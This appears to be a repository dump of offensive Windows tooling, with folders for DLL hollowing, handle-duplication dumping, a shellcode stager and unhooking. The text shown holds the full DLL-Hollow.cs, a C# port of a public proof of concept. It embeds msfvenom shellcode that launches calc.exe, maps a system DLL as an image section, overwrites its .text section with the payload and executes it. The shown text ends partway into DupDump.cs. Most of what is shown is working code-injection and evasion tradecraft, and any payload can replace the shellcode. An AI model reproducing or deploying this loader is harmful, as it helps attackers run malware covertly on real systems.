├── DLLHollow ├── DLL-Hollow.cs └── README.md ├── DupDump ├── DupDump.cs └── Invoke-Dupdump.ps1 ├── README.md ├── SQL ├── sql.cs └── sql.exe ├── Stager ├── Makefile ├── README.md ├── adjuststack.asm ├── adjuststack.o ├── linker.ld ├── opcodes.sh ├── peb-lookup.h └── stager.cpp ├── UnhookShellcode ├── Makefile ├── README.md ├── adjuststack.asm ├── adjuststack.o ├── dll-unook.cpp ├── dll-unook.o ├── linker.ld ├── opcodes.sh └── peb-lookup.h └── manual-map-csharp.cs /DLLHollow/DLL-Hollow.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Diagnostics; 4 | using System.Runtime.InteropServices; 5 | 6 | /* 7 | Based on the awesome research and C++ POC found here https://github.com/forrest-orr/phantom-dll-hollower-poc and here https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing. 8 | 9 | Loads the first DLL that fits the parameters and injects msfvenom shellcode to pop calc.exe with DLL Hollowing. 10 | 11 | */ 12 | namespace DllHollow 13 | { 14 | public class DllHollow 15 | { 16 | [Flags] 17 | public enum FileAccess : uint 18 | { 19 | // 20 | // Standart Section 21 | // 22 | 23 | AccessSystemSecurity = 0x1000000, // AccessSystemAcl access type 24 | MaximumAllowed = 0x2000000, // MaximumAllowed access type 25 | 26 | Delete = 0x10000, 27 | ReadControl = 0x20000, 28 | WriteDAC = 0x40000, 29 | WriteOwner = 0x80000, 30 | Synchronize = 0x100000, 31 | 32 | StandardRightsRequired = 0xF0000, 33 | StandardRightsRead = ReadControl, 34 | StandardRightsWrite = ReadControl, 35 | StandardRightsExecute = ReadControl, 36 | StandardRightsAll = 0x1F0000, 37 | SpecificRightsAll = 0xFFFF, 38 | 39 | FILE_READ_DATA = 0x0001, // file & pipe 40 | FILE_LIST_DIRECTORY = 0x0001, // directory 41 | FILE_WRITE_DATA = 0x0002, // file & pipe 42 | FILE_ADD_FILE = 0x0002, // directory 43 | FILE_APPEND_DATA = 0x0004, // file 44 | FILE_ADD_SUBDIRECTORY = 0x0004, // directory 45 | FILE_CREATE_PIPE_INSTANCE = 0x0004, // named pipe 46 | FILE_READ_EA = 0x0008, // file & directory 47 | FILE_WRITE_EA = 0x0010, // file & directory 48 | FILE_EXECUTE = 0x0020, // file 49 | FILE_TRAVERSE = 0x0020, // directory 50 | FILE_DELETE_CHILD = 0x0040, // directory 51 | FILE_READ_ATTRIBUTES = 0x0080, // all 52 | FILE_WRITE_ATTRIBUTES = 0x0100, // all 53 | 54 | // 55 | // Generic Section 56 | // 57 | 58 | GenericRead = 0x80000000, 59 | GenericWrite = 0x40000000, 60 | GenericExecute = 0x20000000, 61 | GenericAll = 0x10000000, 62 | 63 | SPECIFIC_RIGHTS_ALL = 0x00FFFF, 64 | FILE_ALL_ACCESS = 65 | StandardRightsRequired | 66 | Synchronize | 67 | 0x1FF, 68 | 69 | FILE_GENERIC_READ = 70 | StandardRightsRead | 71 | FILE_READ_DATA | 72 | FILE_READ_ATTRIBUTES | 73 | FILE_READ_EA | 74 | Synchronize, 75 | 76 | FILE_GENERIC_WRITE = 77 | StandardRightsWrite | 78 | FILE_WRITE_DATA | 79 | FILE_WRITE_ATTRIBUTES | 80 | FILE_WRITE_EA | 81 | FILE_APPEND_DATA | 82 | Synchronize, 83 | 84 | FILE_GENERIC_EXECUTE = 85 | StandardRightsExecute | 86 | FILE_READ_ATTRIBUTES | 87 | FILE_EXECUTE | 88 | Synchronize 89 | } 90 | [Flags] 91 | public enum FileShare : uint 92 | { 93 | /// 94 | /// 95 | /// 96 | None = 0x00000000, 97 | /// 98 | /// Enables subsequent open operations on an object to request read access. 99 | /// Otherwise, other processes cannot open the object if they request read access. 100 | /// If this flag is not specified, but the object has been opened for read access, the function fails. 101 | /// 102 | Read = 0x00000001, 103 | /// 104 | /// Enables subsequent open operations on an object to request write access. 105 | /// Otherwise, other processes cannot open the object if they request write access. 106 | /// If this flag is not specified, but the object has been opened for write access, the function fails. 107 | /// 108 | Write = 0x00000002, 109 | /// 110 | /// Enables subsequent open operations on an object to request delete access. 111 | /// Otherwise, other processes cannot open the object if they request delete access. 112 | /// If this flag is not specified, but the object has been opened for delete access, the function fails. 113 | /// 114 | Delete = 0x00000004 115 | } 116 | public enum FileMode : uint 117 | { 118 | /// 119 | /// Creates a new file. The function fails if a specified file exists. 120 | /// 121 | New = 1, 122 | /// 123 | /// Creates a new file, always. 124 | /// If a file exists, the function overwrites the file, clears the existing attributes, combines the specified file attributes, 125 | /// and flags with FILE_ATTRIBUTE_ARCHIVE, but does not set the security descriptor that the SECURITY_ATTRIBUTES structure specifies. 126 | /// 127 | CreateAlways = 2, 128 | /// 129 | /// Opens a file. The function fails if the file does not exist. 130 | /// 131 | OpenExisting = 3, 132 | /// 133 | /// Opens a file, always. 134 | /// If a file does not exist, the function creates a file as if dwCreationDisposition is CREATE_NEW. 135 | /// 136 | OpenAlways = 4, 137 | /// 138 | /// Opens a file and truncates it so that its size is 0 (zero) bytes. The function fails if the file does not exist. 139 | /// The calling process must open the file with the GENERIC_WRITE access right. 140 | /// 141 | TruncateExisting = 5 142 | } 143 | [Flags] 144 | public enum DataSectionFlags : uint 145 | { 146 | /// 147 | /// Reserved for future use. 148 | /// 149 | TypeReg = 0x00000000, 150 | /// 151 | /// Reserved for future use. 152 | /// 153 | TypeDsect = 0x00000001, 154 | /// 155 | /// Reserved for future use. 156 | /// 157 | TypeNoLoad = 0x00000002, 158 | /// 159 | /// Reserved for future use. 160 | /// 161 | TypeGroup = 0x00000004, 162 | /// 163 | /// The section should not be padded to the next boundary. This flag is obsolete and is replaced by IMAGE_SCN_ALIGN_1BYTES. This is valid only for object files. 164 | /// 165 | TypeNoPadded = 0x00000008, 166 | /// 167 | /// Reserved for future use. 168 | /// 169 | TypeCopy = 0x00000010, 170 | /// 171 | /// The section contains executable code. 172 | /// 173 | ContentCode = 0x00000020, 174 | /// 175 | /// The section contains initialized data. 176 | /// 177 | ContentInitializedData = 0x00000040, 178 | /// 179 | /// The section contains uninitialized data. 180 | /// 181 | ContentUninitializedData = 0x00000080, 182 | /// 183 | /// Reserved for future use. 184 | /// 185 | LinkOther = 0x00000100, 186 | /// 187 | /// The section contains comments or other information. The .drectve section has this type. This is valid for object files only. 188 | /// 189 | LinkInfo = 0x00000200, 190 | /// 191 | /// Reserved for future use. 192 | /// 193 | TypeOver = 0x00000400, 194 | /// 195 | /// The section will not become part of the image. This is valid only for object files. 196 | /// 197 | LinkRemove = 0x00000800, 198 | /// 199 | /// The section contains COMDAT data. For more information, see section 5.5.6, COMDAT Sections (Object Only). This is valid only for object files. 200 | /// 201 | LinkComDat = 0x00001000, 202 | /// 203 | /// Reset speculative exceptions handling bits in the TLB entries for this section. 204 | /// 205 | NoDeferSpecExceptions = 0x00004000, 206 | /// 207 | /// The section contains data referenced through the global pointer (GP). 208 | /// 209 | RelativeGP = 0x00008000, 210 | /// 211 | /// Reserved for future use. 212 | /// 213 | MemPurgeable = 0x00020000, 214 | /// 215 | /// Reserved for future use. 216 | /// 217 | Memory16Bit = 0x00020000, 218 | /// 219 | /// Reserved for future use. 220 | /// 221 | MemoryLocked = 0x00040000, 222 | /// 223 | /// Reserved for future use. 224 | /// 225 | MemoryPreload = 0x00080000, 226 | /// 227 | /// Align data on a 1-byte boundary. Valid only for object files. 228 | /// 229 | Align1Bytes = 0x00100000, 230 | /// 231 | /// Align data on a 2-byte boundary. Valid only for object files. 232 | /// 233 | Align2Bytes = 0x00200000, 234 | /// 235 | /// Align data on a 4-byte boundary. Valid only for object files. 236 | /// 237 | Align4Bytes = 0x00300000, 238 | /// 239 | /// Align data on an 8-byte boundary. Valid only for object files. 240 | /// 241 | Align8Bytes = 0x00400000, 242 | /// 243 | /// Align data on a 16-byte boundary. Valid only for object files. 244 | /// 245 | Align16Bytes = 0x00500000, 246 | /// 247 | /// Align data on a 32-byte boundary. Valid only for object files. 248 | /// 249 | Align32Bytes = 0x00600000, 250 | /// 251 | /// Align data on a 64-byte boundary. Valid only for object files. 252 | /// 253 | Align64Bytes = 0x00700000, 254 | /// 255 | /// Align data on a 128-byte boundary. Valid only for object files. 256 | /// 257 | Align128Bytes = 0x00800000, 258 | /// 259 | /// Align data on a 256-byte boundary. Valid only for object files. 260 | /// 261 | Align256Bytes = 0x00900000, 262 | /// 263 | /// Align data on a 512-byte boundary. Valid only for object files. 264 | /// 265 | Align512Bytes = 0x00A00000, 266 | /// 267 | /// Align data on a 1024-byte boundary. Valid only for object files. 268 | /// 269 | Align1024Bytes = 0x00B00000, 270 | /// 271 | /// Align data on a 2048-byte boundary. Valid only for object files. 272 | /// 273 | Align2048Bytes = 0x00C00000, 274 | /// 275 | /// Align data on a 4096-byte boundary. Valid only for object files. 276 | /// 277 | Align4096Bytes = 0x00D00000, 278 | /// 279 | /// Align data on an 8192-byte boundary. Valid only for object files. 280 | /// 281 | Align8192Bytes = 0x00E00000, 282 | /// 283 | /// The section contains extended relocations. 284 | /// 285 | LinkExtendedRelocationOverflow = 0x01000000, 286 | /// 287 | /// The section can be discarded as needed. 288 | /// 289 | MemoryDiscardable = 0x02000000, 290 | /// 291 | /// The section cannot be cached. 292 | /// 293 | MemoryNotCached = 0x04000000, 294 | /// 295 | /// The section is not pageable. 296 | /// 297 | MemoryNotPaged = 0x08000000, 298 | /// 299 | /// The section can be shared in memory. 300 | /// 301 | MemoryShared = 0x10000000, 302 | /// 303 | /// The section can be executed as code. 304 | /// 305 | MemoryExecute = 0x20000000, 306 | /// 307 | /// The section can be read. 308 | /// 309 | MemoryRead = 0x40000000, 310 | /// 311 | /// The section can be written to. 312 | /// 313 | MemoryWrite = 0x80000000 314 | } 315 | public enum SubSystemType : ushort 316 | { 317 | IMAGE_SUBSYSTEM_UNKNOWN = 0, 318 | IMAGE_SUBSYSTEM_NATIVE = 1, 319 | IMAGE_SUBSYSTEM_WINDOWS_GUI = 2, 320 | IMAGE_SUBSYSTEM_WINDOWS_CUI = 3, 321 | IMAGE_SUBSYSTEM_POSIX_CUI = 7, 322 | IMAGE_SUBSYSTEM_WINDOWS_CE_GUI = 9, 323 | IMAGE_SUBSYSTEM_EFI_APPLICATION = 10, 324 | IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER = 11, 325 | IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER = 12, 326 | IMAGE_SUBSYSTEM_EFI_ROM = 13, 327 | IMAGE_SUBSYSTEM_XBOX = 14 328 | 329 | } 330 | public enum DllCharacteristicsType : ushort 331 | { 332 | RES_0 = 0x0001, 333 | RES_1 = 0x0002, 334 | RES_2 = 0x0004, 335 | RES_3 = 0x0008, 336 | IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE = 0x0040, 337 | IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY = 0x0080, 338 | IMAGE_DLL_CHARACTERISTICS_NX_COMPAT = 0x0100, 339 | IMAGE_DLLCHARACTERISTICS_NO_ISOLATION = 0x0200, 340 | IMAGE_DLLCHARACTERISTICS_NO_SEH = 0x0400, 341 | IMAGE_DLLCHARACTERISTICS_NO_BIND = 0x0800, 342 | RES_4 = 0x1000, 343 | IMAGE_DLLCHARACTERISTICS_WDM_DRIVER = 0x2000, 344 | IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE = 0x8000 345 | } 346 | public enum MagicType : ushort 347 | { 348 | IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b, 349 | IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b 350 | } 351 | [StructLayout(LayoutKind.Sequential)] 352 | public struct IMAGE_DATA_DIRECTORY 353 | { 354 | public UInt32 VirtualAddress; 355 | public UInt32 Size; 356 | } 357 | [StructLayout(LayoutKind.Explicit)] 358 | public struct IMAGE_OPTIONAL_HEADER64 359 | { 360 | [FieldOffset(0)] 361 | public MagicType Magic; 362 | 363 | [FieldOffset(2)] 364 | public byte MajorLinkerVersion; 365 | 366 | [FieldOffset(3)] 367 | public byte MinorLinkerVersion; 368 | 369 | [FieldOffset(4)] 370 | public uint SizeOfCode; 371 | 372 | [FieldOffset(8)] 373 | public uint SizeOfInitializedData; 374 | 375 | [FieldOffset(12)] 376 | public uint SizeOfUninitializedData; 377 | 378 | [FieldOffset(16)] 379 | public uint AddressOfEntryPoint; 380 | 381 | [FieldOffset(20)] 382 | public uint BaseOfCode; 383 | 384 | [FieldOffset(24)] 385 | public ulong ImageBase; 386 | 387 | [FieldOffset(32)] 388 | public uint SectionAlignment; 389 | 390 | [FieldOffset(36)] 391 | public uint FileAlignment; 392 | 393 | [FieldOffset(40)] 394 | public ushort MajorOperatingSystemVersion; 395 | 396 | [FieldOffset(42)] 397 | public ushort MinorOperatingSystemVersion; 398 | 399 | [FieldOffset(44)] 400 | public ushort MajorImageVersion; 401 | 402 | [FieldOffset(46)] 403 | public ushort MinorImageVersion; 404 | 405 | [FieldOffset(48)] 406 | public ushort MajorSubsystemVersion; 407 | 408 | [FieldOffset(50)] 409 | public ushort MinorSubsystemVersion; 410 | 411 | [FieldOffset(52)] 412 | public uint Win32VersionValue; 413 | 414 | [FieldOffset(56)] 415 | public uint SizeOfImage; 416 | 417 | [FieldOffset(60)] 418 | public uint SizeOfHeaders; 419 | 420 | [FieldOffset(64)] 421 | public uint CheckSum; 422 | 423 | [FieldOffset(68)] 424 | public SubSystemType Subsystem; 425 | 426 | [FieldOffset(70)] 427 | public DllCharacteristicsType DllCharacteristics; 428 | 429 | [FieldOffset(72)] 430 | public ulong SizeOfStackReserve; 431 | 432 | [FieldOffset(80)] 433 | public ulong SizeOfStackCommit; 434 | 435 | [FieldOffset(88)] 436 | public ulong SizeOfHeapReserve; 437 | 438 | [FieldOffset(96)] 439 | public ulong SizeOfHeapCommit; 440 | 441 | [FieldOffset(104)] 442 | public uint LoaderFlags; 443 | 444 | [FieldOffset(108)] 445 | public uint NumberOfRvaAndSizes; 446 | 447 | [FieldOffset(112)] 448 | public IMAGE_DATA_DIRECTORY ExportTable; 449 | 450 | [FieldOffset(120)] 451 | public IMAGE_DATA_DIRECTORY ImportTable; 452 | 453 | [FieldOffset(128)] 454 | public IMAGE_DATA_DIRECTORY ResourceTable; 455 | 456 | [FieldOffset(136)] 457 | public IMAGE_DATA_DIRECTORY ExceptionTable; 458 | 459 | [FieldOffset(144)] 460 | public IMAGE_DATA_DIRECTORY CertificateTable; 461 | 462 | [FieldOffset(152)] 463 | public IMAGE_DATA_DIRECTORY BaseRelocationTable; 464 | 465 | [FieldOffset(160)] 466 | public IMAGE_DATA_DIRECTORY Debug; 467 | 468 | [FieldOffset(168)] 469 | public IMAGE_DATA_DIRECTORY Architecture; 470 | 471 | [FieldOffset(176)] 472 | public IMAGE_DATA_DIRECTORY GlobalPtr; 473 | 474 | [FieldOffset(184)] 475 | public IMAGE_DATA_DIRECTORY TLSTable; 476 | 477 | [FieldOffset(192)] 478 | public IMAGE_DATA_DIRECTORY LoadConfigTable; 479 | 480 | [FieldOffset(200)] 481 | public IMAGE_DATA_DIRECTORY BoundImport; 482 | 483 | [FieldOffset(208)] 484 | public IMAGE_DATA_DIRECTORY IAT; 485 | 486 | [FieldOffset(216)] 487 | public IMAGE_DATA_DIRECTORY DelayImportDescriptor; 488 | 489 | [FieldOffset(224)] 490 | public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; 491 | 492 | [FieldOffset(232)] 493 | public IMAGE_DATA_DIRECTORY Reserved; 494 | } 495 | [StructLayout(LayoutKind.Sequential)] 496 | public struct IMAGE_DOS_HEADER 497 | { 498 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)] 499 | public char[] e_magic; // Magic number 500 | public UInt16 e_cblp; // Bytes on last page of file 501 | public UInt16 e_cp; // Pages in file 502 | public UInt16 e_crlc; // Relocations 503 | public UInt16 e_cparhdr; // Size of header in paragraphs 504 | public UInt16 e_minalloc; // Minimum extra paragraphs needed 505 | public UInt16 e_maxalloc; // Maximum extra paragraphs needed 506 | public UInt16 e_ss; // Initial (relative) SS value 507 | public UInt16 e_sp; // Initial SP value 508 | public UInt16 e_csum; // Checksum 509 | public UInt16 e_ip; // Initial IP value 510 | public UInt16 e_cs; // Initial (relative) CS value 511 | public UInt16 e_lfarlc; // File address of relocation table 512 | public UInt16 e_ovno; // Overlay number 513 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] 514 | public UInt16[] e_res1; // Reserved words 515 | public UInt16 e_oemid; // OEM identifier (for e_oeminfo) 516 | public UInt16 e_oeminfo; // OEM information; e_oemid specific 517 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)] 518 | public UInt16[] e_res2; // Reserved words 519 | public Int32 e_lfanew; // File address of new exe header 520 | 521 | private string _e_magic 522 | { 523 | get { return new string(e_magic); } 524 | } 525 | 526 | public bool isValid 527 | { 528 | get { return _e_magic == "MZ"; } 529 | } 530 | } 531 | [StructLayout(LayoutKind.Explicit, Size = 20)] 532 | public struct IMAGE_FILE_HEADER { 533 | [FieldOffset(0)] 534 | public UInt16 Machine; 535 | [FieldOffset(2)] 536 | public UInt16 NumberOfSections; 537 | [FieldOffset(4)] 538 | public UInt32 TimeDateStamp; 539 | [FieldOffset(8)] 540 | public UInt32 PointerToSymbolTable; 541 | [FieldOffset(12)] 542 | public UInt32 NumberOfSymbols; 543 | [FieldOffset(16)] 544 | public UInt16 SizeOfOptionalHeader; 545 | [FieldOffset(18)] 546 | public UInt16 Characteristics; 547 | } 548 | [StructLayout(LayoutKind.Explicit)] 549 | public struct IMAGE_NT_HEADERS64 550 | { 551 | [FieldOffset(0)] 552 | public int Signature; 553 | 554 | [FieldOffset(4)] 555 | public IMAGE_FILE_HEADER FileHeader; 556 | 557 | [FieldOffset(24)] 558 | public IMAGE_OPTIONAL_HEADER64 OptionalHeader; 559 | } 560 | [StructLayout(LayoutKind.Explicit)] 561 | public struct IMAGE_SECTION_HEADER 562 | { 563 | [FieldOffset(0)] 564 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] 565 | public char[] Name; 566 | 567 | [FieldOffset(8)] 568 | public UInt32 VirtualSize; 569 | 570 | [FieldOffset(12)] 571 | public Int32 VirtualAddress; 572 | 573 | [FieldOffset(16)] 574 | public UInt32 SizeOfRawData; 575 | 576 | [FieldOffset(20)] 577 | public UInt32 PointerToRawData; 578 | 579 | [FieldOffset(24)] 580 | public UInt32 PointerToRelocations; 581 | 582 | [FieldOffset(28)] 583 | public UInt32 PointerToLinenumbers; 584 | 585 | [FieldOffset(32)] 586 | public UInt16 NumberOfRelocations; 587 | 588 | [FieldOffset(34)] 589 | public UInt16 NumberOfLinenumbers; 590 | 591 | [FieldOffset(36)] 592 | public DataSectionFlags Characteristics; 593 | 594 | public string Section 595 | { 596 | get { return new string(Name); } 597 | } 598 | } 599 | 600 | 601 | [DllImport("ntdll.dll", SetLastError = true, ExactSpelling = true)] 602 | static extern UInt32 NtCreateSection(out IntPtr SectionHandle,UInt32 DesiredAccess,IntPtr ObjectAttributes,IntPtr MaximumSize,UInt32 SectionPageProtection,UInt32 AllocationAttributes,IntPtr FileHandle); 603 | [DllImport("ntdll.dll", SetLastError=true)] 604 | static extern uint NtMapViewOfSection(IntPtr SectionHandle,IntPtr ProcessHandle,out IntPtr BaseAddress,UIntPtr ZeroBits,UIntPtr CommitSize,ulong SectionOffset,out uint ViewSize,uint InheritDisposition,uint AllocationType,uint Win32Protect); 605 | [DllImport("kernel32.dll", CharSet=CharSet.Auto)] 606 | public static extern IntPtr GetModuleHandle(string lpModuleName); 607 | [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] 608 | public static extern IntPtr CreateFile(string filename,FileAccess access,FileShare share,IntPtr securityAttributes, FileMode creationDisposition,uint flagsAndAttribute,IntPtr templateFile); 609 | [DllImport("kernel32.dll", SetLastError = true)] 610 | static extern bool ReadFile(IntPtr hFile, [Out] byte[] lpBuffer,uint nNumberOfBytesToRead, out uint lpNumberOfBytesRead, IntPtr lpOverlapped); 611 | [DllImport("kernel32.dll")] 612 | static extern bool SetFilePointer(IntPtr hFile, long liDistanceToMove,IntPtr lpNewFilePointer, uint dwMoveMethod); 613 | [DllImport("kernel32.dll")] 614 | static extern IntPtr GetCurrentProcess(); 615 | [DllImport("kernel32.dll", SetLastError = true)] 616 | static extern bool VirtualProtect(IntPtr lpAddress, int dwSize, uint flNewProtect, out uint lpflOldProtect); 617 | [DllImport("kernel32.dll")] 618 | static extern uint GetFileSize(IntPtr hFile, IntPtr lpFileSize); 619 | [DllImport("ntdll.dll")] 620 | static extern void NtCreateThreadEx(out IntPtr threadHandle, uint desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr lpStartAddress, IntPtr lpParameter, int createSuspended, uint stackZeroBits, uint sizeOfStackCommit, uint sizeOfStackReserve, IntPtr lpBytesBuffer); 621 | [DllImport("kernel32.dll", SetLastError=true)] 622 | static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); 623 | 624 | public static void Main() 625 | { 626 | IntPtr hThread = IntPtr.Zero; 627 | 628 | byte[] buf = new byte[276] { 629 | 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, 630 | 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, 631 | 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9, 632 | 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, 633 | 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48, 634 | 0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01, 635 | 0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48, 636 | 0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0, 637 | 0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c, 638 | 0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, 639 | 0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04, 640 | 0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59, 641 | 0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48, 642 | 0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00, 643 | 0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f, 644 | 0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, 645 | 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb, 646 | 0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c, 647 | 0x63,0x2e,0x65,0x78,0x65,0x00 }; 648 | 649 | IntPtr textAddr = Hollow(buf); 650 | NtCreateThreadEx(out hThread, 0x1FFFFF, IntPtr.Zero, GetCurrentProcess(), textAddr, IntPtr.Zero, 0, 0, 0xFFFF, 0xFFFF, IntPtr.Zero); 651 | WaitForSingleObject(hThread,0xFFFFFFFF); 652 | } 653 | 654 | private static IntPtr Hollow(byte[] payload) 655 | { 656 | uint SECTION_MAP_WRITE = 0x0002; 657 | uint SECTION_MAP_READ = 0x0004; 658 | uint SECTION_MAP_EXECUTE = 0x0008; 659 | uint SECTION_ALL_ACCESS = SECTION_MAP_WRITE | SECTION_MAP_READ | SECTION_MAP_EXECUTE; 660 | uint PAGE_READ_ONLY = 0x02; 661 | uint SEC_IMAGE = 0x1000000; 662 | uint PAGE_READWRITE = 0x04; 663 | 664 | String SystemDirectory = System.Environment.SystemDirectory; 665 | String[] files = Directory.GetFiles(SystemDirectory,"*.dll"); 666 | IntPtr file = IntPtr.Zero; 667 | uint numBytesRead = 0; 668 | int payload_size = payload.Length; 669 | uint viewSize = 0; 670 | 671 | for (int i = 0; i < files.Length; i++) 672 | { 673 | string module = files[i]; 674 | if (GetModuleHandle(module) == IntPtr.Zero) 675 | { 676 | file = CreateFile(module,FileAccess.GenericRead,FileShare.Read,IntPtr.Zero,FileMode.OpenExisting,0,IntPtr.Zero); 677 | uint lpFileSize = GetFileSize(file,IntPtr.Zero); 678 | byte[] fileBuffer = new byte[lpFileSize]; 679 | bool fileRead = ReadFile(file,fileBuffer,lpFileSize,out numBytesRead,IntPtr.Zero); 680 | IntPtr fileBufPtr = Marshal.AllocHGlobal(fileBuffer.Length); 681 | Marshal.Copy(fileBuffer, 0, fileBufPtr, fileBuffer.Length); 682 | if (fileRead == true) 683 | { 684 | SetFilePointer(file,0,IntPtr.Zero,0); 685 | IMAGE_DOS_HEADER dosHeader = (IMAGE_DOS_HEADER)Marshal.PtrToStructure(fileBufPtr,typeof(IMAGE_DOS_HEADER)); 686 | IntPtr ptrToNtHeaders = (fileBufPtr + dosHeader.e_lfanew); 687 | IMAGE_NT_HEADERS64 ntHeaders = (IMAGE_NT_HEADERS64)Marshal.PtrToStructure(ptrToNtHeaders,typeof(IMAGE_NT_HEADERS64)); 688 | IntPtr ptrToSectionHeader = (ptrToNtHeaders + Marshal.SizeOf(typeof(IMAGE_NT_HEADERS64))); 689 | IMAGE_SECTION_HEADER sectionHeader = (IMAGE_SECTION_HEADER)Marshal.PtrToStructure(ptrToSectionHeader,typeof(IMAGE_SECTION_HEADER)); 690 | 691 | string sectionName = new string(sectionHeader.Name); 692 | if (sectionName.Contains("text") && ntHeaders.OptionalHeader.SizeOfImage > payload_size && payload_size < sectionHeader.VirtualSize) 693 | { 694 | Console.WriteLine("Found usable DLL: "+files[i]); 695 | IntPtr baseAddr = IntPtr.Zero; 696 | IntPtr hSection = IntPtr.Zero; 697 | 698 | NtCreateSection(out hSection, SECTION_ALL_ACCESS,IntPtr.Zero,IntPtr.Zero,PAGE_READ_ONLY,SEC_IMAGE,file); 699 | NtMapViewOfSection(hSection,GetCurrentProcess(),out baseAddr,UIntPtr.Zero,UIntPtr.Zero,0,out viewSize,1,0,PAGE_READ_ONLY); 700 | if (viewSize >= ntHeaders.OptionalHeader.SizeOfImage) 701 | { 702 | uint oldProtect = 0; 703 | IntPtr textAddress = IntPtr.Add(baseAddr,sectionHeader.VirtualAddress); 704 | bool a = VirtualProtect(textAddress,payload_size,PAGE_READWRITE,out oldProtect); 705 | Marshal.Copy(payload,0,textAddress,payload_size); 706 | bool b = VirtualProtect(textAddress,payload_size,oldProtect,out oldProtect); 707 | if (b == true) 708 | { 709 | return textAddress; 710 | } 711 | } 712 | 713 | } 714 | 715 | } 716 | 717 | } 718 | } 719 | return IntPtr.Zero; 720 | } 721 | } 722 | } 723 | -------------------------------------------------------------------------------- /DLLHollow/README.md: -------------------------------------------------------------------------------- 1 | C# port of the PoC provided here https://github.com/forrest-orr/phantom-dll-hollower-poc and written about here https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing. 2 | 3 | This injection technique looked interesting and I wanted to make a C# version of it to further explore how it works. Hope you enjoy. 4 | -------------------------------------------------------------------------------- /DupDump/DupDump.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Text; 3 | using System.IO; 4 | using System.Diagnostics; 5 | using System.Collections.Generic; 6 | using System.Runtime.InteropServices; 7 | 8 | namespace SneakDump 9 | { 10 | public class SneakDump 11 | { 12 | /// 13 | /// https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/sysinfo/handle_table_entry.htm?ts=0,242 14 | /// 15 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 16 | public struct SYSTEM_HANDLE_INFORMATION 17 | { // Information Class 16 18 | public ushort ProcessID; 19 | public ushort CreatorBackTrackIndex; 20 | public byte ObjectType; 21 | public byte HandleAttribute; 22 | public ushort Handle; 23 | public IntPtr Object_Pointer; 24 | public IntPtr AccessMask; 25 | } 26 | 27 | private enum OBJECT_INFORMATION_CLASS : int 28 | { 29 | ObjectBasicInformation = 0, 30 | ObjectNameInformation = 1, 31 | ObjectTypeInformation = 2, 32 | ObjectAllTypesInformation = 3, 33 | ObjectHandleInformation = 4 34 | } 35 | 36 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 37 | private struct OBJECT_NAME_INFORMATION 38 | { // Information Class 1 39 | public UNICODE_STRING Name; 40 | } 41 | 42 | [StructLayout(LayoutKind.Sequential)] 43 | private struct UNICODE_STRING 44 | { 45 | public ushort Length; 46 | public ushort MaximumLength; 47 | public IntPtr Buffer; 48 | } 49 | 50 | [Flags] 51 | private enum PROCESS_ACCESS_FLAGS : uint 52 | { 53 | All = 0x001F0FFF, 54 | Terminate = 0x00000001, 55 | CreateThread = 0x00000002, 56 | VMOperation = 0x00000008, 57 | VMRead = 0x00000010, 58 | VMWrite = 0x00000020, 59 | DupHandle = 0x00000040, 60 | SetInformation = 0x00000200, 61 | QueryInformation = 